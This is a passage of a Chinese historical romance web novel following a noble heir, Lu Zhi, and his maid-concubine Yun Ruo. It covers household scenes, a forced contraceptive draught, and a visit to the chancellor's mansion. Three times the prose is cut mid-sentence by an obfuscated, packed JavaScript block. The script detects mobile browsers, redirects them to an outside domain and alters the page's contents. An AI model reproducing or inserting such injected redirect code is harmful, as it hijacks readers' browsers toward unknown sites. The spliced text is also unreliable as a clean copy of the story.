母子俩这时候母慈子孝,刚才的闹剧像是给人的错觉。 陈氏看陆执脸还泛红,唤李嬷嬷拿了些冰块进来,又吩咐她午膳多备几样菜。 冰块很快备好,陈氏用自己的帕子包了几块,想为陆执冰敷一下,陆执自己接过去敷了。 红痕淡去,肿热消散,午膳也备好了,母子俩在坐在一张桌子上吃饭,一句话未说。 用完午膳,陈氏又留陆执饮了杯茶,陆执说他该温书了,陈氏才让他回了。 走出荣安堂,陆执才注意到跟着来的丫鬟不在了。 左行解释道:“在您用完膳后,李嬷嬷说夫人有东西要送到咱们院子里,就让云月和她一块去了。” 陆执知道李嬷嬷是送什么,没再问,走了一段路后,才有想起来些什么,吩咐到:“你待会儿把我那罐活血化瘀的药送到昨晚那个丫头手上。” 左行一愣,没想明白世子这个吩咐的缘由。 “愣什么?” 没听见他出声,陆执回头看他。 左行连忙摆手:“没有没有,小的走神了。” 陆执懒得搭理他。左行偶尔脑子是会有点抽筋,但干活儿那些没什么问题,他凑合着用这么多年,顺手了,也就会自动忽视他这些小毛病。 左行要是知道自己的主子这么想他,肯定会伤心的。他左行可是世界上最了解自己主子的人,每次主子吩咐的事,他都能猜到原因,他一直觉得自己和他的主子心有灵犀呢! ** 等二人回院子的时候,李嬷嬷刚离开。 “爷,夫人又差李嬷嬷来送什么?您都在那里,为何不直接给您,白白多跑这一遭。” “话怎么这么多。别忘了送药。” 说完,陆执自顾自去了书房。 左行撇嘴,世子这个聪明人总是对他这种慢性子的人没耐心。 从世子房中找到那瓶药,左行就往后院去了。 他到后院的时候,看到云月也在,三个人正在修剪后院的花草。 他没有上前,远远唤了云若一声,云若看到他招了招手,立马放下手中剪子,小跑过去。 “左侍卫。” 左行应了声,把手中的青色药罐递给她。 云若有些疑惑,但还是先手下了。 “这是活血化瘀的药,世子受了伤抹这个不出两天就好了,世子让你抹膝盖。” 膝盖?左行现在一说,云若才后知后觉自己膝盖是有点不舒服。昨天磕了两下,后来和世子……也多是让她跪在床上。 她只是觉得双腿快不是自己的了,一直没敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150080|164828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 细看,都没发现自己的膝盖淤了。 没想到世子还注意到她的膝盖受伤了,不做那事的时候,世子果真如传言那般温柔体贴。 云若粲然一笑:“多谢左侍卫,请左侍卫替我谢过世子。” 看着云若这漂亮的笑颜,左行感觉自己的心都漏跳了一下,一瞬间他好像有点明白了世子。 左行被自己的想法惊到,连忙在心中抽醒自己。 使不得使不得,现在云若可是世子身边的人。 左行赶紧搭话转移自己的注意力:“这个药早晚一次,倒在手上揉开瘀血就行。” “好。” 左行想说这就走了,但是又闻到云若身上有一股药味,他送的这药明明没什么气味。 他还是忍不住问道:“你生病了吗?我怎么闻到了一股药味?” 云若微怔,随即反应过来,她回答道:“没有,许是左侍卫闻错了。” 既然云若说没有,左行看她除了脸色有点白,看起来没什么不舒服的,现在日头正盛,脸色白点也正常,觉得可能是自己闻错了。 “今后大家就一起当差了,有什么需要的话可以找我,那你先忙。” “多谢左侍卫。” 云若目送左行离开,手中的瓷罐已经被握出几分暖意。 其实左行没闻错,她是喝了碗药,就在前不久,李嬷嬷亲自送过来的。 药是云月端过来,三碗黑乎乎的药水,已经放凉了,闻起来味道并不好。 李嬷嬷张口就是这药是夫人的赏赐,希望她们喝了之后可以好好伺候世子。 云若也能料到这个是什么,无论是霓裳阁还是赵嬷嬷,都有听她们提起过。 作为通房丫鬟,一定要有自知之明,越过未来主母先诞下孩子,想母凭子贵这种僭越的念头是万万不敢有的。 她们自己都无依无靠,要是真有了孩子,没有人会保护,也没有人容得下,一不小心就很可能会一尸两命。 要想在这种人家里活下去,摆正自己的位置是首要。 李嬷嬷明里暗里敲打她们,想着几人心中也该有点数了,亲眼看着三个人把药都喝干净了,这才离开。 李嬷嬷回去复命的时候,陈氏正在抄写佛经,李嬷嬷上前为她磨墨。 陈氏问:“药都喝了吗?” “老奴亲自盯着的,喝得干干净净。” “都还老实吗?” “老实,老奴话里话外都给她们说得明明白白,什么该做,什么不该做,想必她们心中都有点数。” 闻言,陈氏放下笔,把写完的纸张递给李嬷嬷,后者连放下手中的墨锭,接过来轻轻把墨吹干。 陈氏拿出方帕擦掉手上的墨点,缓缓道:“光是有点数可不行,一定要认清自己卑贱的地位,能够进鹤哥儿的院子,已经是她们几辈子修来的福气了。再不知足,可是要遭报应的。” 李嬷嬷一边把佛经收好,一边回应:“夫人说的是。” 陈氏冷哼一声:“杜娇真是好手段,定是她教了些狐媚惑主的花招,真是下作东西! 让世子院里的人仔细着那三个丫鬟,倘若她们敢做出一点不合规矩的事,不用回禀,立马处置了!” “老奴明白。” 陈氏看着桌上那一沓佛经,心底毫无波澜。 8. 擦药 云若的身子向来是不错的,但是好像和这个凉药犯冲,云月云燕喝了都没什么感觉,她喝了之后反而小腹在隐隐的坠痛。 一想到李嬷嬷临走前说,这个药的药效只有一个月,以后每个月她都会来一次,云若的疼痛就更深了几分。 见云若疼得直冒汗,云月云燕也有些担心,让她今天先别干活了,催她回去休息。 云若眼下实在无力坚持,不再勉强,有气无力地跟她们道过谢后回了屋子,躺在床上蒙头就睡。 不知道是她前一晚上没休息好,还是被疼晕了,她这一觉一睡就睡到了第二天。 见她清醒,坐在她床边的云月松了口气:“你总算醒了!你睡了好久,身上一直冒冷汗,怎么叫你都叫不醒,快把我和云燕吓坏了,要是你再不醒,我们都打算豁出去求世子帮你请大夫了。” 云若此时反应比平时慢些,睡了一觉,她已经好多了,除了身子有点笨重,脑袋也晕乎乎的外,身上的酸痛感已经弱了许多。 再开口,声音有些嘶哑:“让你们担心了,谢谢你们,我现在好多了。” 见她确实比昨天看起来好多了,云月这才放心了,她指了指桌上的饭菜:“给你留的早饭,昨晚就没吃,肯定饿坏了,你吃完后要是不舒服就再休息会儿吧。” 云若再次道谢,云月还有活儿干,就没再耽搁时间,但也没催促她。 但云若昨天就只干了半天活,今日实在不好意思再把活留给云若一个人,她起身活动活动了身子,已经好很多了。 想起昨天世子给的药她还没用,赶紧从脱下的衣裳里找出来,挽起裤腿,一大块黑紫色的瘀血布满膝头,看起来有些吓人。 没看到的时候还没觉着有什么,现在看到了,她觉得膝盖里像是在被针细密地扎着。 她打开盖子,一股淡淡的清香袭来,是一罐淡黄色的膏体,中间有一个小小的凹陷。云若轻轻一挖就沾满指头,她把药抹在掌心搓开、搓热,然后捂在瘀血的位置打着圈轻揉。 才抹上一会儿,膝头就感觉一股清凉,很舒服,不适感渐渐消失。 云若不禁感慨,不愧是世子用的药,起效就是快。等这只腿上完,她又依样把另一只腿抹好药。 抹完后她把药罐盖好,揣在身上。再站起来,云若觉得自己蹦两下都没问题。 或许是世子的药太好用了,也或许是她的心情有些好,让她忽略了身体的这点不适。 上药又耽误了点时间,她把自己收拾好后,匆匆吃了早饭,就去和云月干活了。 云若今天干了一天活,身体也没有很累,应该是恢复得差不多了。她和云月上午把后院昨天还没修剪完的花草修剪完了,下午把后院闲置的房间都打扫了遍,然后撒上防虫蚁的药。 天还没暗,云若以为今晚世子会让云燕留下伺候,但没想到天还没黑,云燕就回来了。 云月似乎与她有一样的想法,所以有些好奇,用晚饭的时候忍不住问她:“你怎么回来了,我以为你今晚会很晚回来。” 云燕对这个倒不在乎,如实告诉她们:“世子说他晚上温书不喜欢有人在一旁打扰,就让我退下了。” “那你今天跟在世子身边,都干了什么?” 云月昨天就只跟着世子去请了个安,后来随李嬷嬷回来后,右管事就让她昨天就在后院干活了,也没服侍世子多久,对此有点好奇。 云若也有点想知道,毕竟明天就该她当值了,她想先了解一下,做点准备。 云燕边咽饭菜边回答她们:“我去的时候,世子已经起了,我就给世子端洗脸水。” 云燕开始回忆。 世子的一天有些无趣。 世子起了后就在自己的院子里练功,大概会练半个时辰。 听说世子出生的时候难产,生了好久才生下来,出来的时候小脸憋得乌青,吓得产婆心惊胆跳地好一阵忙活,又打又掐,这才哭出声来。 因此世子小时候体质比较差,御医让世子多动动,强健体魄就能好转,打他三岁起,就有了一个晨起练功的习惯,一直坚持到现在,除了手受伤行动不便的那几个月落下了,平时哪怕数九寒冬也不曾停下。 练完功,用完早膳,世子去给夫人请完安回来就开始温书了。 夫人说,世子念书虽然读书辛苦,但这晨昏定省是老规矩,服侍就寝可以免了,每日的请安还是少不了,没有规矩不成方圆,若是因此给自己找借口,往后遇上了旁的事,总是会半途而废。 一直温书到午时,到了用午饭的时候,世子用完膳后会小憩片刻。 未时中小憩结束,一边练字一边醒神,精神头好一点后,又开始看书。酉时用完晚膳,云燕就不用在跟前伺候了。 这么一听,世子服侍起来还比较轻松,只要在跟前的时候仔细着点,不打扰到世子,应该就不会出什么差错。 听起来世子读书如此用功,对那事并没有过于热衷,上次实属是她会错了意。 念及此,云若小脸微微发烫,想着自己这次可得注意着点,别再揣摩错了世子的意思。 翌日,等云若来当值的时候,发现果真如云月云燕说的那般,世子的一天当真有些无趣。 待世子用完晚膳,云若就已经开始等待世子让她不用伺候了。 可等到天都黑了,世子还是没有发话。 用完膳稍作休息后,世子又到了书房看书,左行回屋替世子拿东西,一时间书房内只有她和世子两人。 世子一边看,一边拿笔在纸上记下,神情专注。 云若站在一旁,一动不动,生怕打扰了世子。 她这边小心翼翼不敢打扰,那个拿完药的左行啪推门进来,云若自己被惊了一下也罢,她也看到世子的笔都被这声响弄得一顿。 “世子,药没剩多少了,要小的去给您再配一些吗?” 药?世子哪里不舒服,怎么她跟在世子身边一整天都没看出来?云若觉得自己有些失职。 “不用了,已经好得差不多了,只是最近用手较多。”陆执放下手中的笔,看了眼云若,对她说:“你来帮我擦药。” 虽然之前擦药都是左行,但是世子吩咐了,左行就把药递给她后就退下了。 云若接过,绕过书桌走到陆执身边。 “世子,这药要怎么擦?” 陆执挽起他左手的袖袍,露出一截很有力量的小臂。 世子的手臂和麦子的颜色一样,肌肉绷着,显现几道沟壑,虽不是很深,但看上去和她家乡那些常年劳作的年轻汉子一样,很有力气。 “你用手把药在这搓开,感到生热即可。”陆执指了指他左臂外侧一处,“就像你擦你膝上的伤一样。” 云若听明白了,打开药罐,一股浓郁的药味扑鼻而来。她取出一点药膏,涂在世子指的地方,然后放下药罐,右手掌心贴上去慢慢使劲揉搓。 两人挨得近,云若都能听见世子匀缓的呼吸声。世子身上有一股清幽的香味,闻起来很舒服,但现在逐渐被药味覆盖。 她右手使劲一些,世子的手就会被她推走,不使劲又搓不热。 云若斗胆伸出另一只手抓住了世子的手腕。 见世子没有说什么,她开始用力涂药。握着世子手腕的手,渐渐能感受到世子体温似乎比她掌心的温度要低上一些。 云若的思绪不禁飘回那一晚,她被叫住回到世子跟前,他拉起她的手放在他衣襟上,若有深意地说了一句“继续”,她顿时欲哭无泪。 她还想为自己辩解几句,但世子蹙眉,一声不容抗拒的“嗯?”传到她耳朵里,吓得她立马扯开了世子的里衣亵裤,将露未露。 世子松开她的手,双手往后撑在床上,眉目含笑:“按你的想法来,今夜你做主。” 云若此时已经无法思考,先前赵 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暖香在怀,于这漫长夏夜来说,虽是幸事,但更磨人心志。 陆执轻叹一口气,一直无动于衷的他终究还是伸手揽住了她的腰,手上微微使劲,就把人压在了身下。 “你的动作太慢了,今夜还是按我的来。” 随后,随后就是漫长。 云若不知道只是握了一下世子的手腕,怎么就能想到那些,暗骂自己不专心。 想尽快上完药,她又加重了几分力气揉搓,却听得世子一声轻嘶。 “就是嫌左行下手没轻没重才让你来,没想到你力气也不小。” 云若一听立马停了手,知道她把世子弄疼了,她的天都要塌了,觉得自己又闯祸了。 “奴婢知错,奴婢下次会小心的。” 看她终于不是泛红着一张小脸呆愣出神,陆执轻笑:“好了,逗你的。” 云若抿唇,没有说话。世子不怪罪就好,脑子里绷紧一根弦,告诉自己可不能再走神了。 陆执活动手臂,此前的不适感已经好了很多,看着乖乖站在一旁的她,想起她青紫的膝盖。 这丫头胆子说小不小,说大也不大,反正是个不禁吓的,那晚随便逗两下就把自己磕了几下,后面夜里的时候,陆执也让她在床上跪了许久,等她穿衣服的时候,陆执才看到她膝盖已经淤青。 “给你的药用了吗?” 说起这个,云若脑里弦松了几分。 “用了,不愧是世子给的药,奴婢刚涂上就感觉已经好得差不多了。” 陆执被她这不经意的马屁逗笑:“听你说起来,那药像仙药似的。” 云若见世子不信,原地跺了两下脚,向他展示药的效果:“世子你看,奴婢只用了三次,就已经痊愈了,真的是好药!” “好了好了。”陆执怕他再不信,这丫头指不定要给他怎么证明自己的膝盖已经好了,“是好药就行。” “奴婢已经用不上了,等下次奴婢再来的时候,就把药给您带过来。” 一盒药而已,给她就给她了,那里还需要还回来。 陆执是这么想的,也是这么说的。 云若开心地朝他道谢。 “那药活血化瘀的效果最好,平日干活要是哪里酸痛,也可以用它缓解。” 云若记下,但心里想,这么好的药,她才舍不得轻易用。 “好了,让左行把药放回去吧。” 云若把药封好,交给候在门口的左行后,又回到了书房里。 陆执重新拿起笔在纸上写着什么,云若在旁边看着,她并不认得,但看着世子不用思索,一口气就能写出十几页字来,简直是厉害。 书房里只余下纸张摩挲的沙沙声,就这么陪着世子,云若竟也不觉得无趣。 9. 出府 云若就这样隔两天去伺候一次,一晃眼,时间过去了大半个月。 承熙院当差还是很轻松的,她们只有刚开始那几天活多,因为季节交替,需要收拾起来和收拾出来的东西比较多。等忙完那几天,他们也就比较闲。 世子比别的主子好伺候,他有自己的书要读,也不乱跑,每天除了吃饭睡觉就是看书练功,大门不出二门不迈,他们这些下人也派不上什么用场。 特别是近来几日,世子每天天不亮就起来,除去练功、请安和用膳,其余时候都在复习功课,总是要在子夜才歇下,整个人吃不好睡不好,看上去都清瘦不少。 一起在世子身边当差的几个人,这些日子也逐渐熟络起来,世子没吩咐的时候,他们偶尔会聚在一起聊聊天,打发打发时间。 今日还是没什么活儿,几人又闲了下来,像往常一般坐到世子书房不远处的一棵大树下纳凉休息,这里邻近的是世子放书架的那面墙,他们说话大声些也不会吵到世子。 云若没来几天就和厨房的何厨头混熟了,打那以后,有什么好吃的,何厨头都会给她悄悄留一份。她刚从何厨头那拿了他做的新品,带来给大家一起尝尝,给何厨头一点意见。 左行拿起云若用黄色方帕包着的绿色糕点,放进嘴里咬了一口后,忽然长叹一口气。 这糕点明明很好吃,左行好好的突然叹气,大家都带着疑问的眼神看向他。 “我这是心疼我们世子,这么好吃的糕点世子吃不下,全便宜我们了。 唉,世子本来胃口就挑,入夏之后,更是刁得不行,我们这厨子,什么都好,就是夏天做的这些东西,总是不合世子胃口。 眼瞅着世子这几天都消瘦不少,要是让夫人知道,夫人非要我半条命不可,你们说这可如何是好?” 看着世子胃口不好,最近又总是温书到深夜,左行也跟着心疼,现在吃着这糕点,一下子有感而发。 左行这话说得有理,这几天她们几个也能感受出来,世子用功时间多,歇息的时间少,整个人看起来总是很疲惫。 “何厨头也给世子做了十几年的饭了,再好吃,或许世子也会吃腻。”世子不好好吃饭是个大问题,其他忙她帮不上,做点吃的她还是可以,云若说了自己的想法,“我会做一些解暑的小吃,味道还不错,不知道可不可以试试。” 左行一听,谨慎询问:“你的手艺如何?不是我不相信你,只是世子实在有点挑嘴。” 云若一下有点没了底气。 云月倒先肯定了她:“我觉得可以一试,云若的手艺我和云燕尝过,确实很不错,不一定输给厨头。” 云燕点了点头:“要不让云若做给你尝尝?你跟在世子身边多年,应该对世子的口味比较了解。” 左行点头,别的他不敢肯定,世子的喜好他还是有几分把握的,他觉得这个法子可行。 右安则叹气摇了摇头,说:“现在这个时候,就算是琼浆玉露,世子怕也是吃不下。” “为什么?”云若问。 “什么浆……玉什么?是好吃的吗?”左行问。 云月云燕四个人大眼瞪小眼没结果,都一齐把目光投向右安。 右安顿时头更大了,他耐心解释啊:“过两天世子就要去和老师汇报他这几个月的功课,接受老师的检查,以前都是一个月一检查,现在世子一下子要准备三个多月的,自然不能松懈。至于琼浆玉露,反正是你吃不到的东西就行了。” 说罢,四人都恍然大悟般点点头。 “我记得庄丞相这些日子不是不在京城,怎么这么快就回来了?” “世子的老师是庄丞相吗?” “老师很严厉吗?” “要是检查不过世子会怎么样?” 又是叽叽喳喳的一串问题,右安瞬间觉得自己一个头两个大。早知道他就去世子跟前伺候了,虽然会惹世子眼烦,但总比在这里被他们轮番折磨好。 右安无法,只能一点一点替他们几个解惑。 陆执的老师是当朝宰相庄行俭,两朝元老,他学识渊博,德高望重,为官经验丰富,也是当今太子的启蒙老师。 陆执是他的得意门生,庄相对他很是器重,是故对他的要求也较为严格。之前陆执还在弘文馆念书的时候,庄相就定下规矩,每次测验,陆执必须科科做到最优,现在他在府中自学,要超越的是自己,庄相要求他每一次都要比上一次的自己有所进步。 陆执受伤的这几个月,庄相体谅他,让他好好养伤,不必来回奔波再去汇报,但要求是下次伤好后的第一次考察要接上上次的,也就是一下子要考察三个月的学习内容,尽管陆执这几个月来不曾懈怠,但还是没有十足的把握不出错。 “庄相曾说若是世子连这些都做不到,便不必再认他当老师了。世子很敬重庄相,很珍惜能够做庄相的弟子,因此世子每次都会认真完成庄相交代的任务。本来早些时候就要检查的,但庄相前些日子领命去苏州办差,明日才回京复命,所以世子现在在抓紧时间复习功课,没心思旁的也很正常。” 四人这下总算知道缘由,虽然担忧主子,但她们几个在在这事上也帮不了世子什么忙,只能尽力照顾好世子。 五个人这次没有商讨出什么有用的对策,都有点颓然。主要是世子这个主子每日比他们这些做奴才的还累,世子平时也很体谅他们这些下人,他们实在是觉得自己没用,解不了世子的烦恼。 眼看时辰差不多了,该给世子准备晚膳了,五个人有默契地起身,回到了各自的岗位。 晚上是云若在跟前服侍,她在旁边看着世子吃完一碗饭就要放碗,立马上前接过世子的碗,一脸认真:“世子,再吃一碗吧?” 陆执抬眸,视线落在她脸上,看到她紧抿的唇,眼里还隐约显现出来的担心,想起白日里他在书房窗前远眺休息的时候,听到五只“小老鼠”躲在墙角。 他之前就看到过这五人几次,但都分不出精力去多问一句,这会儿他难得清闲一会儿,他凝神摒气,仔细去听他们在密谋什么。 一想到几个人鬼鬼祟祟躲在树下,出谋划策着如何能让主人多吃点饭,他就忍俊不禁。 陆执神色舒缓,嘴角挂着浅浅的笑:“再添半碗就行,我还想喝碗汤。” 没想到世子今天胃口这么好,云若也跟着他嘴角上扬,忍住心里的雀跃,迅速添完饭塞到世子手里,一副生怕世子反悔的样子。 饭菜的余温透过瓷碗传到他的手上,陆执觉得今日的疲惫都消散了不少。 见世子重新开始夹菜,云若掩不住上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150082|164828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扬的嘴角,偷偷侧身朝左行方向挑了挑眉,左行也悄悄对着她竖起大拇指。 两人自以为这点小动作不明显,其实尽收陆执眼底,但他假装没发现。 夏日的午后燥热还未散去,但在这一小方天地,人却没受这点烦人的热气影响,只觉得静谧又美好。 轻松的氛围一直持续到夜间,陆执觉得今夜背起书来都比往常要流利很多。 深夜,见时间不早了,云若出声提醒世子该歇息了。 陆执放下笔,检查了一下没什么错误,把书放好,便起身准备回房。 左行打开书房门,掌着灯在门口等世子出来,云若则是准备去熄灭书房的烛火。 “过两日,我要去相府,你和左行随行。” 云若怔愣了一瞬,再回过神来,世子已经走远了。 后知后觉反应过来,世子出府她可以随行的话,岂不是意味着她可以出府了? 来京城有五个月了,她从来没见过京城到底长什么样子,听人说是繁华迷眼,富贵迷人,虽然她不知道到底是什么意思,但她还挺想看看京城的。 带着这个想法,这两天云若干活的时候都很有劲,每隔一会儿就想要是现在就是出府的日子就好了。 好在一晃就是两日后,云若这几天早早就起了床,在外面等着世子起床。 听到世子起床,云若立马入里间服侍。 陆执已经起身,坐在床边边在心里回想一些他之前记错过的内容,等着他们进来,一众人里一打眼就瞧见有个人容光焕发,难掩喜色,陆执一下子想不进去那些东西了。 替他穿衣裳的时候,陆执仿佛看到了她摇得飞快的尾巴。 陆执忍不住问她:“这么高兴吗?” 她像是没想到自己突然问她话,滞了一下后,立马嘴角上扬,露出皓白贝齿:“嗯,高兴。” 就这么说好像忘了她的高兴是建立在世子的痛苦之上的,云若又补了一句:“这都是托世子的福,奴婢铭记于心。” 她这小马屁好像拍对了地方,只见世子也露出了浅浅的笑容。 陆执收回落在她身上的视线,看向在前面候命的左行,问他:“马车备好了吗?” 左行点头:“都准备好了。” “那你和云若先去外面候着,我去跟母亲请安了就来。” 两人应下,陆执拿过小厮托盘上的荷包,挥散他们,自己边系边大步往外走。 云若看着世子远去的身影,觉得世子连走路都很好看。 两人拿上世子的东西和茶水点心出了府,把东西放进马车里后,两人站在马车旁等世子。 此时虽还早,但是沉睡了一夜的京城早已苏醒,偶有几个路人经过,他们穿着普通人的粗布短褐,让云若觉得陌生又熟悉。 镇国公府的正门很是气派,门口还有两个身穿盔甲手拿佩剑的人在看守,两人一脸肃穆,看上去很有杀气,云若好奇又有点怵。 再看看府外的天,好像和在府中看到的不一样。 总之,从出府那一刻起,云若对一切到感到新奇。陆执出来的时候看到的就是她四处张望的样子,傻气又可爱。 陆执走上前,左行侧身让行,他两步坐进马车,撩开帘子对云若说:“快上来,我们要出发了。” 10. 相府 马车不疾不徐驶入闹市,坐在马车里的云若听着外面络绎不绝的叫卖声,心里发痒,想推开窗子,看看外头到底是何番景象。 她偷偷瞟看端坐上方,正在闭目养神的世子,思索再三,还是作罢,可别打扰了世子的思绪,毕竟这次出来是干正事的。 她在车里坐立不安,陆执不用看都知道她心思飞哪儿去了。 “若一会儿从相府回来得早,可带你们去玩玩。” 闻言,云若心中欢喜,转头要谢恩,却见世子仍旧闭着眼,看上去不便打扰的模样。 她用只有两人听到的声音回了句“多谢世子”。 陆执嘴角微微上扬。 镇国公府离丞相府不远,穿过两条街就到了。 马车缓缓驶停,左行安置好轿凳,温声提醒:“世子,丞相府到了。” 云若打开车门,由世子先下,她下车的时候,就见一只手臂横在她面前,抬眸一看,左行笑得灿烂。 虽然这点高度对她来说不算什么,但左行一番好意,云若也不好拒绝,道了句:“多谢左侍卫。” 她伸手刚要搭上去,就听已经下车等着的世子幽然道:“左侍卫,到底谁是主子?” 左行讪笑,自己把手往上一抬,云若就搭上了他,顺势就把她扶了下来。 云若脚一踩上地,立马收回手交叠放在身前,含胸低头乖乖走到世子身边,尽量避免战火蔓延。 左行一看已经表现完,转身对陆执耍小机灵:“当然您是主子,您看您这通身气派……诶!世子等等我!” 陆执甩了个眼刀给他,拂袖转身,大步迈开,云若连转身跟上,就这么几息已经和左行拉开了一段距离。 看门的家丁早已把门打开,陆执经过的时候,皆作揖行礼后,走在前方引路。 左行还没发挥就被打断,立马要快步跟上,想起自己忘拿了世子要交给丞相的功课,立马钻进马车里一阵手忙脚乱。 好不容易把东西拿上,眼看两人已经走远,左行连忙去追。 云若被暗暗调整呼吸的左行逗笑,一抬眼就见世子斜眼瞥她,云若立刻耷拉下嘴角。 世子发出意味不明的气声。 云若虚瞄一眼跟在世子另一边的左行,问他世子是不是生气了。 左行摆出一副怎么可能的样子,摇摇头。 没有就好。云若收回视线,这才开始打量起丞相府来。 如果说镇国公府是气势恢宏,尽显显赫,那丞相府就是大气内敛,庄重威严,一走进来,云若就仿佛通过宅子能感受它背后主人的权势逼人。 穿过开阔的庭院,入目的是宽阔敞亮的议事厅,一行人右转走上回廊,能看见百花齐放的花园,假山嶙峋,潺潺流水穿梭其间,一座凉亭坐落在其中,俨然如画中之境一般。 云若不敢表现出太过惊艳的样子,怕丢了世子的脸面,只能暗中打量,在心底悄悄惊叹。 几个连续的右转后,引路的下人停在一间较之前景象略显素雅的屋子面前,对着打开的房门通传:“相爷,陆世子到了。” 一道厚重威严的声音如黄钟大吕,掷地有声:“请世子进来。” 庄相教学时一向不喜有旁人在侧叨扰,陆执接过左行递过来的箱子,嘱咐两人:“你们在此候着,切莫惹事。” 说罢撩袍跨入屋子,下人等他进去后熟练地把门关上,随后对左行道:“你们随我去前厅等候如何?” 左行摆摆手:“不用,我们想在这花园逛逛。” 那人没有再说什么,自己回了前院。 待人已经消失在转角,左行便领着她往花园里去。 云若有些担心:“世子不是让我们在这候着吗?我们在别人府上乱逛不会有事吧?” “放心,世子这话的意思就是让我们自便,只要不给他惹麻烦就行。况且丞相府算得上是世子半个家,这儿的人大多都认识我,不会阻拦我。刚刚我就瞧你对丞相府挺新奇的样子,现在我就带你逛逛。你还别说,这跟我们府上的还是很不同的。” 听左行这么说,知道不算违背世子的命令,云若才放下心来,整个人被好奇驱使,跟在左行身后,大胆打量起丞相府的建筑布局来。 一路走下来,云若都只是远远观看,不敢凑得过近,害怕自己毛手毛脚磕坏了哪里,到时候就算再卖她个十来回可能都不够赔。 穿过假山,曲径蜿蜒而去,好像后面还别有一番天地。 “往这里去是?”云若停下来,不敢再继续往前走。 “这里其实就是丞相书房配的小花园,从这穿过去才是这府里的后花园,花草比这里的还多,有一座更大的假山,还有一个湖,里面种满了莲花,现在正是开得最好的时候,你要去看看吗?” 云若点点头。她没见过莲花,自是好奇。 云若跟着左行又走了段路,鹅卵石铺就的小路逐渐变宽,隐约可以闻见清幽的花香。 “这就是莲花池了。” 左行侧身,云若的视线豁然开朗,满池莲花几乎全部盛开,高高矮矮错落有致,湖水澄澈,阳光倾洒,粼粼波光映在人的脸上,偶尔还能看见几条肥满的锦鲤跃出水面。 “好漂亮。”云若由衷赞叹。 “那当然。”两道声音同时响起,一道是左行的,还有一道声音听起来比较稚嫩,语气里还带着骄傲。 云若和左行循着声音望去,硕大的莲叶被拨开,一个丫鬟打扮约莫只有十三四岁的女孩正在岸边摘荷叶。 “左行,你又在我们府里乱逛!”女孩看清两人,捡起地上的莲叶,走到跟前。 云若看向左行,他还真没骗他,这府上认识他的人还不少。 “原来是采宁。”左行一脸嬉笑,“你在这里干什么?今日怎么不见你家小姐?你平日里不是对你家小姐寸步不离的吗?” 名叫采宁的丫鬟轻哼一声,视线在云若身上打转,云若对上她的视线,露出一个得体的笑容点头同她问好。 看她也是丫鬟的样子,采宁友好回礼,随后矛头指向左行:“这话应该我问你才是吧,这儿可是丞相府!而且我家小姐的行踪哪里是你这个下人能探寻的?除非……是你主子要问还差不多。” 提到世子,采宁好像多了几分怨气。 “是是是,瞧我这嘴,采 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150083|164828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁姑娘可是庄小姐身边最器重的人,我这不是好奇你怎么不伺候小姐,反倒跑这来摘荷叶。”左行本来平时就嘴笨,随便呛他两句,他便会败下阵来,而采宁是庄小姐身边最牙尖嘴利的,他自然不会自讨没趣。 采宁毕竟还小,最吃左行这种哄人的话,她微微扬头:“那当然,我家小姐最喜欢我了。不过我家小姐最怕热,已经回老家避暑去了,要入秋了才会回来。这荷叶是厨房叫我摘去午膳要用的。” “原来如此。” “那你慢慢逛吧,本姑娘先走了。” “采宁姑娘慢走。”左行高兴地挥手送别。 等采宁走远了,云若才问出心中的好奇:“丞相的千金?你怎么想着问庄小姐?还有你和采宁姑娘……” 左行怕云若误会自己,赶紧解释:“不是我,是世子……不对!”他脑子比嘴还笨,一下子说不清。 云若有些疑惑:“世子?” “不是,也不是世子!是庄小姐心悦我家世子,每次世子来相府,庄小姐都会寻借口来与世子搭话。但世子对庄小姐并无意。我今日没瞧见庄小姐,所以这才有些好奇问问她家丫鬟怎么回事。” 原来如此,连相府千金都对世子青睐有加,看来世子果然如传闻中一样爱慕者众多。也难怪适才提起世子的时候,采宁有些不满,想来是心疼自家小姐饱受相思之苦。 采宁的小插曲过后,左行又带着云若转了转相府别处,很快就到了用午膳的时候,书房里的两人却还是没有动静,一直到午后,左行都打完两个盹了,书房门才从里打开。 见世子出来,云若赶紧推醒昏昏欲睡的左行,自己则站在他面前,为他挡一挡。 一个小小的身躯后面渐渐冒出一个高大的身体,娇小的她像是被左行拥在怀里。 “经义、策问都答得不错,字也越来越有大家风范了,看来这段时间,没有旁人监督,你一样不会松懈。很好。”看似一个简单的评价,其实是庄行俭最高的称赞。 陆执收回视线,微微欠身:“多谢老师。” 